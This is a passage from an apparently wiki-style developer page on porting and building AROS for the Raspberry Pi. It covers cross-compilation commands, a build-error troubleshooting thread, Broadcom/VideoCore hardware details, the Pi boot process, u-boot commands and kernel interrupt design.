inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in 